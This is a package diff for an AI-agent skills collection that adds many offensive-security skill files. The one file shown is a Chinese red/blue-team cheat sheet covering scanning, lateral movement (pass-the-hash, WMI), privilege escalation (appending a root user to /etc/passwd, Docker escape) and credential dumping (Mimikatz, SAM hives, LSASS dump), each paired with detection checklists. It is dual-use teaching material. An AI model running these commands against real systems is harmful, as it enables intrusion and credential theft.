opencode-skills-collection 4.0.43 → 4.0.44
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bundled-skills/.antigravity-install-manifest.json +47 -1
- package/bundled-skills/api-rate-limit-handler/SKILL.md +282 -0
- package/bundled-skills/api-security/SKILL.md +205 -0
- package/bundled-skills/api-security/references/jwt-oauth-testing.md +123 -0
- package/bundled-skills/api-security/references/rest-graphql-testing.md +137 -0
- package/bundled-skills/apk-reverse/SKILL.md +438 -0
- package/bundled-skills/apk-reverse/references/android-advanced.md +365 -0
- package/bundled-skills/apk-reverse/references/apk-security-checklist.md +230 -0
- package/bundled-skills/apk-reverse/references/frida-bypass-kit.md +70 -0
- package/bundled-skills/apk-reverse/references/frida-cookbook.md +472 -0
- package/bundled-skills/attack-chain/SKILL.md +185 -0
- package/bundled-skills/attack-chain/references/attack-playbooks.md +126 -0
- package/bundled-skills/attack-chain/references/evasion-cheatsheet.md +133 -0
- package/bundled-skills/attack-chain/references/lifecycle-checklist.md +37 -0
- package/bundled-skills/attack-chain/references/phases.md +490 -0
- package/bundled-skills/binary-diff/SKILL.md +320 -0
- package/bundled-skills/binary-diff/references/prompt-template.md +173 -0
- package/bundled-skills/browser-extension-reverse/SKILL.md +99 -0
- package/bundled-skills/browser-extension-reverse/references/extension-analysis.md +10 -0
- package/bundled-skills/case-review/SKILL.md +167 -0
- package/bundled-skills/cloud-k8s/SKILL.md +124 -0
- package/bundled-skills/cloud-k8s/references/k8s-cloud-checklist.md +16 -0
- package/bundled-skills/code-audit/SKILL.md +92 -0
- package/bundled-skills/code-audit/references/sast-review-checklist.md +10 -0
- package/bundled-skills/database-security/SKILL.md +81 -0
- package/bundled-skills/database-security/references/db-misconfig-checklist.md +9 -0
- package/bundled-skills/diagram-generator/SKILL.md +199 -0
- package/bundled-skills/diagram-generator/references/README.md +3 -0
- package/bundled-skills/diagram-generator/references/diagram-patterns.md +254 -0
- package/bundled-skills/digital-forensics/SKILL.md +93 -0
- package/bundled-skills/digital-forensics/references/forensics-triage.md +10 -0
- package/bundled-skills/docs/integrations/jetski-cortex.md +3 -3
- package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +1 -1
- package/bundled-skills/docs/maintainers/repo-growth-seo.md +1 -1
- package/bundled-skills/docs/maintainers/skills-update-guide.md +1 -1
- package/bundled-skills/docs/sources/sources.md +9 -0
- package/bundled-skills/docs/users/aas-core.md +1 -1
- package/bundled-skills/docs/users/bundles.md +1 -1
- package/bundled-skills/docs/users/claude-code-skills.md +1 -1
- package/bundled-skills/docs/users/gemini-cli-skills.md +1 -1
- package/bundled-skills/docs/users/kiro-integration.md +1 -1
- package/bundled-skills/docs/users/usage.md +3 -3
- package/bundled-skills/docs/users/visual-guide.md +4 -4
- package/bundled-skills/docs-generator/SKILL.md +197 -0
- package/bundled-skills/docs-generator/references/security-report-templates.md +348 -0
- package/bundled-skills/docs-generator/references/templates.md +102 -0
- package/bundled-skills/docs-generator/references/vendor-report-rules.md +263 -0
- package/bundled-skills/dotnet-reverse/SKILL.md +197 -0
- package/bundled-skills/dotnet-reverse/references/common-workflow.md +171 -0
- package/bundled-skills/dotnet-reverse/references/obfuscators.md +145 -0
- package/bundled-skills/dotnet-reverse/references/sharp-tools.md +164 -0
- package/bundled-skills/edr-bypass-re/SKILL.md +248 -0
- package/bundled-skills/edr-bypass-re/references/hook-survey.md +226 -0
- package/bundled-skills/edr-bypass-re/references/telemetry-blinding.md +346 -0
- package/bundled-skills/edr-bypass-re/references/unhook-techniques.md +338 -0
- package/bundled-skills/email-security/SKILL.md +81 -0
- package/bundled-skills/email-security/references/email-auth-checklist.md +8 -0
- package/bundled-skills/firmware-pentest/SKILL.md +381 -0
- package/bundled-skills/firmware-pentest/references/emba-automated-analysis.md +192 -0
- package/bundled-skills/firmware-pentest/references/emulation-and-fuzz.md +337 -0
- package/bundled-skills/firmware-pentest/references/extraction-methodology.md +285 -0
- package/bundled-skills/ghidra-reverse/SKILL.md +98 -0
- package/bundled-skills/ghidra-reverse/references/ghidra-cheatsheet.md +12 -0
- package/bundled-skills/go-rust-reverse/SKILL.md +82 -0
- package/bundled-skills/go-rust-reverse/references/go-rust-notes.md +5 -0
- package/bundled-skills/hardware-security/SKILL.md +80 -0
- package/bundled-skills/hardware-security/references/debug-interface-triage.md +7 -0
- package/bundled-skills/ida-reverse/SKILL.md +401 -0
- package/bundled-skills/ida-reverse/references/LOCAL-SETUP.md +66 -0
- package/bundled-skills/ida-reverse/references/ida-mcp-cheatsheet.md +515 -0
- package/bundled-skills/identity-federation/SKILL.md +81 -0
- package/bundled-skills/identity-federation/references/sso-flow-checklist.md +9 -0
- package/bundled-skills/instructree/SKILL.md +94 -0
- package/bundled-skills/js-reverse/SKILL.md +239 -0
- package/bundled-skills/js-reverse/references/ast-deobfuscation.md +3 -0
- package/bundled-skills/js-reverse/references/automation-entry.md +12 -0
- package/bundled-skills/js-reverse/references/env-patching.md +6 -0
- package/bundled-skills/js-reverse/references/fallbacks.md +8 -0
- package/bundled-skills/js-reverse/references/instrumentation.md +9 -0
- package/bundled-skills/js-reverse/references/local-rebuild.md +11 -0
- package/bundled-skills/js-reverse/references/mcp-task-template.md +30 -0
- package/bundled-skills/js-reverse/references/node-env-rebuild.md +9 -0
- package/bundled-skills/js-reverse/references/output-contract.md +9 -0
- package/bundled-skills/js-reverse/references/task-artifacts.md +11 -0
- package/bundled-skills/js-reverse/references/task-input-template.md +11 -0
- package/bundled-skills/js-reverse/references/tool-defaults.md +7 -0
- package/bundled-skills/llm-security/SKILL.md +160 -0
- package/bundled-skills/llm-security/references/agent-obedience-engineering.md +243 -0
- package/bundled-skills/llm-security/references/agent-security-testing.md +116 -0
- package/bundled-skills/llm-security/references/owasp-llm-top10.md +48 -0
- package/bundled-skills/llm-security/references/prompt-injection-methodology.md +107 -0
- package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
- package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
- package/bundled-skills/macos-reverse/SKILL.md +85 -0
- package/bundled-skills/macos-reverse/references/macho-triage.md +10 -0
- package/bundled-skills/malware-analysis/SKILL.md +311 -0
- package/bundled-skills/malware-analysis/references/anti-analysis-techniques.md +205 -0
- package/bundled-skills/malware-analysis/references/sandbox-orchestration.md +204 -0
- package/bundled-skills/malware-analysis/references/yara-sigma-rules.md +232 -0
- package/bundled-skills/mobile-reverse/SKILL.md +222 -0
- package/bundled-skills/mobile-reverse/references/anti-detection-bypass.md +182 -0
- package/bundled-skills/mobile-reverse/references/frida-objection-deep.md +218 -0
- package/bundled-skills/mobile-reverse/references/ios-reverse-guide.md +177 -0
- package/bundled-skills/muapi-media/SKILL.md +311 -0
- package/bundled-skills/ot-ics/SKILL.md +117 -0
- package/bundled-skills/ot-ics/references/ot-safe-assessment.md +10 -0
- package/bundled-skills/patch-diff-exploit/SKILL.md +278 -0
- package/bundled-skills/patch-diff-exploit/references/diff-tools-comparison.md +271 -0
- package/bundled-skills/patch-diff-exploit/references/patch-tuesday-workflow.md +253 -0
- package/bundled-skills/patch-diff-exploit/references/root-cause-and-poc.md +198 -0
- package/bundled-skills/pentest-tools/SKILL.md +346 -0
- package/bundled-skills/pentest-tools/references/ai-pentest-agents.md +148 -0
- package/bundled-skills/pentest-tools/references/ai-pentesting-landscape-2026.md +73 -0
- package/bundled-skills/pentest-tools/references/automation-loop-pattern.md +153 -0
- package/bundled-skills/pentest-tools/references/awesome-pentest-digest.md +175 -0
- package/bundled-skills/pentest-tools/references/burpsuite-mcp-guide.md +769 -0
- package/bundled-skills/pentest-tools/references/client-side-lab-playbook.md +155 -0
- package/bundled-skills/pentest-tools/references/kali-mcp-ecosystem.md +119 -0
- package/bundled-skills/pentest-tools/references/msf-protocol.md +169 -0
- package/bundled-skills/pentest-tools/references/network-attack-defense.md +350 -0
- package/bundled-skills/pentest-tools/references/nuclei-guide-2026.md +157 -0
- package/bundled-skills/pentest-tools/references/payloads.md +32 -0
- package/bundled-skills/pentest-tools/references/pentest-ai-agents-matrix.md +117 -0
- package/bundled-skills/pentest-tools/references/pentest-loop.md +270 -0
- package/bundled-skills/pentest-tools/references/recon-pipeline.md +154 -0
- package/bundled-skills/pentest-tools/references/templates/findings.md +21 -0
- package/bundled-skills/pentest-tools/references/templates/progress.md +17 -0
- package/bundled-skills/pentest-tools/references/templates/rules.md +35 -0
- package/bundled-skills/pentest-tools/references/templates/scope.md +29 -0
- package/bundled-skills/pentest-tools/references/templates/task_plan.md +27 -0
- package/bundled-skills/pentest-tools/references/web-attack-cheatsheet.md +387 -0
- package/bundled-skills/pentest-tools/src-hunter/SKILL.md +243 -0
- package/bundled-skills/pentest-tools/src-hunter/references/README.en.md +115 -0
- package/bundled-skills/pentest-tools/src-hunter/references/README.md +148 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/00-index.md +44 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md +515 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md +274 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/00-index.md +66 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/banking-finance.md +338 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/telecom-isp.md +315 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/00-index.md +68 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/01-attack-priority.md +143 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md +357 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/03-evidence-discipline.md +205 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/04-control-gap-hunting.md +238 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/05-srctimebox-priority.md +161 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/adcs/346/224/273/345/207/273.md +254 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange/346/224/273/345/207/273.md +254 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint/346/224/273/345/207/273.md +113 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//344/277/241/346/201/257/346/224/266/351/233/206.md +947 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/205/215/346/235/200/344/270/216/350/247/204/351/201/277.md +780 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/207/255/350/257/201/347/252/203/345/217/226.md +1259 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/237/237/346/270/227/351/200/217/346/224/273/345/207/273.md +753 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/346/217/220/345/215/207.md +819 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/347/273/264/346/214/201.md +577 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/250/252/345/220/221/347/247/273/345/212/250.md +838 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//351/232/247/351/201/223/344/273/243/347/220/206.md +604 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ai/345/256/211/345/205/250.md +698 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/api/345/256/211/345/205/250.md +1935 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/csrf/350/267/250/347/253/231/350/257/267/346/261/202/344/274/252/351/200/240.md +952 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/jwt/345/256/211/345/205/250.md +496 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi/346/226/207/344/273/266/345/214/205/345/220/253.md +1365 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce/350/277/234/347/250/213/344/273/243/347/240/201/346/211/247/350/241/214.md +1329 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/sql-nosql/346/263/250/345/205/245.md +1924 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssrf/346/234/215/345/212/241/347/253/257/350/257/267/346/261/202/344/274/252/351/200/240.md +1256 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti/346/250/241/346/235/277/346/263/250/345/205/245.md +1151 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/websocket/345/256/211/345/205/250.md +487 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss/350/267/250/347/253/231/350/204/232/346/234/254.md +1465 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xxe/345/256/236/344/275/223/346/263/250/345/205/245.md +815 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/270/232/345/212/241/351/200/273/350/276/221/346/274/217/346/264/236.md +594 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/272/221/345/256/211/345/205/250/346/274/217/346/264/236.md +561 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/276/233/345/272/224/351/223/276/346/224/273/345/207/273.md +399 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/216/237/345/236/213/351/223/276/346/261/241/346/237/223.md +401 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/274/200/346/224/276/351/207/215/345/256/232/345/220/221.md +396 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/226/207/344/273/266/346/274/217/346/264/236.md +0 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/241/206/346/236/266/346/274/217/346/264/236.md +2304 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/202/271/345/207/273/345/212/253/346/214/201.md +339 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/274/223/345/255/230/344/270/216cdn/345/256/211/345/205/250.md +497 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/256/244/350/257/201/346/274/217/346/264/236.md +1778 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/257/267/346/261/202/350/265/260/347/247/201.md +854 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/index.md +69 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/web/346/270/227/351/200/217.md +662 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/windows/346/270/227/351/200/217.md +100 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//344/277/241/346/201/257/346/224/266/351/233/206.md +852 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/206/205/347/275/221/346/270/227/351/200/217.md +873 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/207/255/350/257/201/347/252/203/345/217/226.md +186 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/237/237/346/270/227/351/200/217.md +50 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/257/206/347/240/201/346/224/273/345/207/273.md +462 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/235/203/351/231/220/346/217/220/345/215/207.md +168 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/274/217/346/264/236/345/210/251/347/224/250.md +445 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/263/273/347/273/237/345/221/275/344/273/244.md +410 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/272/242/351/230/237/345/267/245/345/205/267.md +64 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/274/226/347/240/201/350/247/243/347/240/201.md +226 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//351/232/247/351/201/223/344/273/243/347/220/206.md +84 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/waf-bypass.md +6504 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/00-index.md +57 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/api-rest.md +2050 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/arbitrary-x-authz.md +481 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/dos.md +615 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/file-upload.md +1365 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/graphql.md +253 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/http-smuggling.md +924 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/info-disclosure.md +432 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/intranet-postexp.md +4845 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md +1394 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/logic-flaws.md +1796 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/mobile.md +397 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/oauth-saml-jwt.md +2504 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md +1297 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/race-conditions.md +207 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/rce.md +4829 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/sqli.md +1620 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md +2098 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/unauth-access.md +330 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/xss.md +1159 -0
- package/bundled-skills/pentest-tools/src-hunter/references/templates/report-submission.md +346 -0
- package/bundled-skills/pentest-tools/src-hunter/references/tools/mcp-jshook.md +174 -0
- package/bundled-skills/protocol-reverse/SKILL.md +108 -0
- package/bundled-skills/protocol-reverse/references/protocol-workflow.md +29 -0
- package/bundled-skills/pwn-chain/SKILL.md +209 -0
- package/bundled-skills/pwn-chain/references/heap-pwn.md +283 -0
- package/bundled-skills/pwn-chain/references/kernel-pwn.md +370 -0
- package/bundled-skills/pwn-chain/references/stack-pwn.md +312 -0
- package/bundled-skills/radare2/SKILL.md +460 -0
- package/bundled-skills/radare2/references/cheatsheet.md +129 -0
- package/bundled-skills/radio-sdr/SKILL.md +77 -0
- package/bundled-skills/radio-sdr/references/sdr-lab-rules.md +6 -0
- package/bundled-skills/reverse-browser-automation/SKILL.md +249 -0
- package/bundled-skills/reverse-browser-automation/references/playwright-cheatsheet.md +425 -0
- package/bundled-skills/reverse-engineering/SKILL.md +213 -0
- package/bundled-skills/reverse-engineering/dsl-vm-reverse/SKILL.md +388 -0
- package/bundled-skills/reverse-engineering/references/ai-assisted-re.md +149 -0
- package/bundled-skills/reverse-engineering/references/anti-analysis.md +836 -0
- package/bundled-skills/reverse-engineering/references/awesome-re-resources.md +135 -0
- package/bundled-skills/reverse-engineering/references/crypto-decode-tools.md +220 -0
- package/bundled-skills/reverse-engineering/references/elf-analysis.md +296 -0
- package/bundled-skills/reverse-engineering/references/field-notes.md +540 -0
- package/bundled-skills/reverse-engineering/references/go-reverse.md +240 -0
- package/bundled-skills/reverse-engineering/references/kernel-driver-reverse.md +298 -0
- package/bundled-skills/reverse-engineering/references/languages-compiled.md +587 -0
- package/bundled-skills/reverse-engineering/references/languages-platforms.md +486 -0
- package/bundled-skills/reverse-engineering/references/languages.md +499 -0
- package/bundled-skills/reverse-engineering/references/nonpe-format-cookbook.md +301 -0
- package/bundled-skills/reverse-engineering/references/ollvm-deobfuscation.md +501 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf-2.md +397 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf-3.md +719 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf.md +532 -0
- package/bundled-skills/reverse-engineering/references/patterns.md +801 -0
- package/bundled-skills/reverse-engineering/references/platforms-hardware.md +304 -0
- package/bundled-skills/reverse-engineering/references/platforms.md +442 -0
- package/bundled-skills/reverse-engineering/references/re-agent-workflow.md +240 -0
- package/bundled-skills/reverse-engineering/references/tools-advanced.md +822 -0
- package/bundled-skills/reverse-engineering/references/tools-dynamic.md +846 -0
- package/bundled-skills/reverse-engineering/references/tools.md +546 -0
- package/bundled-skills/supply-chain-security/SKILL.md +180 -0
- package/bundled-skills/supply-chain-security/references/cicd-pipeline-security.md +137 -0
- package/bundled-skills/supply-chain-security/references/sbom-sca-methodology.md +74 -0
- package/bundled-skills/thick-client/SKILL.md +104 -0
- package/bundled-skills/thick-client/references/thick-client-checklist.md +9 -0
- package/bundled-skills/threat-hunting/SKILL.md +94 -0
- package/bundled-skills/threat-hunting/references/hunting-loop.md +5 -0
- package/bundled-skills/threat-intelligence/SKILL.md +176 -0
- package/bundled-skills/threat-intelligence/references/x-public-intelligence.md +93 -0
- package/bundled-skills/tree-ring-memory/SKILL.md +29 -9
- package/bundled-skills/wifi-wireless/SKILL.md +80 -0
- package/bundled-skills/wifi-wireless/references/wireless-lab-rules.md +6 -0
- package/bundled-skills/windows-ad/SKILL.md +109 -0
- package/bundled-skills/windows-ad/references/ad-attack-paths.md +12 -0
- package/package.json +1 -1
- package/skills_index.json +1214 -2
|
@@ -0,0 +1,350 @@
|
|
|
1
|
+
# 网络攻击与防御速查
|
|
2
|
+
|
|
3
|
+
> 覆盖网络层攻击技术、内网渗透、横向移动、权限提升、持久化、以及对应的防御检测方法。
|
|
4
|
+
> 面向红队攻击和蓝队防御双视角。
|
|
5
|
+
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
## 网络侦察
|
|
9
|
+
|
|
10
|
+
### 主动侦察
|
|
11
|
+
|
|
12
|
+
```bash
|
|
13
|
+
# 端口扫描(Nmap)
|
|
14
|
+
nmap -sV -sC -O -p- target # 全端口+服务+OS
|
|
15
|
+
nmap -sU --top-ports 100 target # UDP 扫描
|
|
16
|
+
nmap --script vuln target # 漏洞脚本扫描
|
|
17
|
+
nmap -sn 192.168.1.0/24 # 存活主机发现
|
|
18
|
+
|
|
19
|
+
# 快速扫描(Masscan)
|
|
20
|
+
masscan -p1-65535 target --rate=10000 # 高速全端口
|
|
21
|
+
masscan -p80,443,8080 0.0.0.0/0 --rate=100000 # 全网特定端口
|
|
22
|
+
|
|
23
|
+
# 服务指纹
|
|
24
|
+
nmap -sV --version-intensity 5 target
|
|
25
|
+
```
|
|
26
|
+
|
|
27
|
+
### 被动侦察
|
|
28
|
+
|
|
29
|
+
```bash
|
|
30
|
+
# DNS 信息
|
|
31
|
+
dig target.com ANY
|
|
32
|
+
dig target.com AXFR @ns1.target.com # 区域传送
|
|
33
|
+
host -t mx target.com
|
|
34
|
+
nslookup -type=TXT target.com
|
|
35
|
+
|
|
36
|
+
# 证书透明度
|
|
37
|
+
curl "https://crt.sh/?q=%.target.com&output=json" | jq '.[].name_value'
|
|
38
|
+
|
|
39
|
+
# WHOIS
|
|
40
|
+
whois target.com
|
|
41
|
+
|
|
42
|
+
# Shodan/Censys/FOFA
|
|
43
|
+
shodan search "hostname:target.com"
|
|
44
|
+
```
|
|
45
|
+
|
|
46
|
+
### 防御检测
|
|
47
|
+
|
|
48
|
+
```text
|
|
49
|
+
□ IDS/IPS 规则:检测端口扫描模式(SYN flood、半开连接)
|
|
50
|
+
□ 防火墙日志:异常源 IP 的大量连接尝试
|
|
51
|
+
□ 蜜罐:部署在非业务端口,检测扫描行为
|
|
52
|
+
□ 网络流量基线:偏离正常流量模式的告警
|
|
53
|
+
```
|
|
54
|
+
|
|
55
|
+
---
|
|
56
|
+
|
|
57
|
+
## 内网渗透
|
|
58
|
+
|
|
59
|
+
### 初始访问后信息收集
|
|
60
|
+
|
|
61
|
+
```bash
|
|
62
|
+
# Windows 内网信息
|
|
63
|
+
ipconfig /all
|
|
64
|
+
net user /domain
|
|
65
|
+
net group "Domain Admins" /domain
|
|
66
|
+
nltest /dclist:
|
|
67
|
+
systeminfo
|
|
68
|
+
tasklist /v
|
|
69
|
+
netstat -ano
|
|
70
|
+
|
|
71
|
+
# Linux 内网信息
|
|
72
|
+
ifconfig / ip addr
|
|
73
|
+
cat /etc/passwd
|
|
74
|
+
cat /etc/shadow
|
|
75
|
+
ss -tlnp
|
|
76
|
+
ps aux
|
|
77
|
+
find / -perm -4000 2>/dev/null # SUID 文件
|
|
78
|
+
```
|
|
79
|
+
|
|
80
|
+
### 横向移动
|
|
81
|
+
|
|
82
|
+
| 技术 | 工具 | 命令 |
|
|
83
|
+
|------|------|------|
|
|
84
|
+
| Pass-the-Hash | Impacket | `psexec.py -hashes :NTLM_HASH admin@target` |
|
|
85
|
+
| Pass-the-Ticket | Mimikatz | `kerberos::ptt ticket.kirbi` |
|
|
86
|
+
| WMI 执行 | Impacket | `wmiexec.py admin:pass@target "whoami"` |
|
|
87
|
+
| SMB 执行 | Impacket | `smbexec.py admin:pass@target` |
|
|
88
|
+
| WinRM | Evil-WinRM | `evil-winrm -i target -u admin -p pass` |
|
|
89
|
+
| RDP | xfreerdp | `xfreerdp /v:target /u:admin /p:pass` |
|
|
90
|
+
| SSH 隧道 | ssh | `ssh -L 8080:internal:80 user@pivot` |
|
|
91
|
+
| SOCKS 代理 | Chisel | `chisel server -p 8080 --socks5` |
|
|
92
|
+
|
|
93
|
+
### 防御检测
|
|
94
|
+
|
|
95
|
+
```text
|
|
96
|
+
□ 监控异常登录:非工作时间、异常源 IP、失败次数
|
|
97
|
+
□ 检测 PtH:Event ID 4624 Type 3 + NTLM 认证
|
|
98
|
+
□ 检测横向移动:Event ID 4648(显式凭证登录)
|
|
99
|
+
□ 网络分段:限制工作站间直接通信
|
|
100
|
+
□ LAPS:本地管理员密码随机化
|
|
101
|
+
□ 特权访问工作站(PAW):隔离管理操作
|
|
102
|
+
```
|
|
103
|
+
|
|
104
|
+
---
|
|
105
|
+
|
|
106
|
+
## 权限提升
|
|
107
|
+
|
|
108
|
+
### Windows 提权
|
|
109
|
+
|
|
110
|
+
| 技术 | 检测/利用 |
|
|
111
|
+
|------|---------|
|
|
112
|
+
| 未引用服务路径 | `wmic service get name,pathname \| findstr /v "C:\Windows"` |
|
|
113
|
+
| 弱服务权限 | `accesschk.exe -uwcqv "Authenticated Users" *` |
|
|
114
|
+
| AlwaysInstallElevated | `reg query HKLM\...\Installer /v AlwaysInstallElevated` |
|
|
115
|
+
| 令牌模拟 | `whoami /priv` → SeImpersonatePrivilege → Potato |
|
|
116
|
+
| DLL 劫持 | Process Monitor 监控 DLL 加载失败 |
|
|
117
|
+
| 计划任务 | `schtasks /query /fo LIST /v` |
|
|
118
|
+
| 自动运行 | `reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run` |
|
|
119
|
+
|
|
120
|
+
### Linux 提权
|
|
121
|
+
|
|
122
|
+
| 技术 | 检测/利用 |
|
|
123
|
+
|------|---------|
|
|
124
|
+
| SUID 二进制 | `find / -perm -4000 2>/dev/null` → GTFOBins |
|
|
125
|
+
| sudo 配置 | `sudo -l` → 可利用的 NOPASSWD 命令 |
|
|
126
|
+
| Cron 任务 | `cat /etc/crontab` + `ls -la /etc/cron.*` |
|
|
127
|
+
| 内核漏洞 | `uname -r` → searchsploit |
|
|
128
|
+
| 可写 /etc/passwd | `echo 'root2:$1$...:0:0::/root:/bin/bash' >> /etc/passwd` |
|
|
129
|
+
| Docker 逃逸 | `docker run -v /:/host --privileged` |
|
|
130
|
+
| Capabilities | `getcap -r / 2>/dev/null` |
|
|
131
|
+
|
|
132
|
+
### 自动化工具
|
|
133
|
+
|
|
134
|
+
```bash
|
|
135
|
+
# Windows
|
|
136
|
+
winPEAS.exe
|
|
137
|
+
PowerUp.ps1 → Invoke-AllChecks
|
|
138
|
+
Seatbelt.exe -group=all
|
|
139
|
+
|
|
140
|
+
# Linux
|
|
141
|
+
linpeas.sh
|
|
142
|
+
linux-exploit-suggester.sh
|
|
143
|
+
pspy # 监控进程(无需 root)
|
|
144
|
+
```
|
|
145
|
+
|
|
146
|
+
### 防御检测
|
|
147
|
+
|
|
148
|
+
```text
|
|
149
|
+
□ 最小权限原则:服务账户不给管理员权限
|
|
150
|
+
□ 定期审计 SUID/sudo/计划任务
|
|
151
|
+
□ 监控特权操作:Event ID 4672(特殊权限分配)
|
|
152
|
+
□ 应用白名单:AppLocker / WDAC
|
|
153
|
+
□ 内核补丁:及时更新
|
|
154
|
+
```
|
|
155
|
+
|
|
156
|
+
---
|
|
157
|
+
|
|
158
|
+
## 凭证获取
|
|
159
|
+
|
|
160
|
+
### Windows 凭证
|
|
161
|
+
|
|
162
|
+
```bash
|
|
163
|
+
# Mimikatz
|
|
164
|
+
sekurlsa::logonpasswords # 内存中的明文密码
|
|
165
|
+
sekurlsa::wdigest # WDigest 密码
|
|
166
|
+
lsadump::sam # SAM 数据库
|
|
167
|
+
lsadump::dcsync /user:admin # DCSync 攻击
|
|
168
|
+
|
|
169
|
+
# 注册表
|
|
170
|
+
reg save HKLM\SAM sam.hiv
|
|
171
|
+
reg save HKLM\SYSTEM system.hiv
|
|
172
|
+
# → secretsdump.py -sam sam.hiv -system system.hiv LOCAL
|
|
173
|
+
|
|
174
|
+
# LSASS Dump
|
|
175
|
+
procdump.exe -ma lsass.exe lsass.dmp
|
|
176
|
+
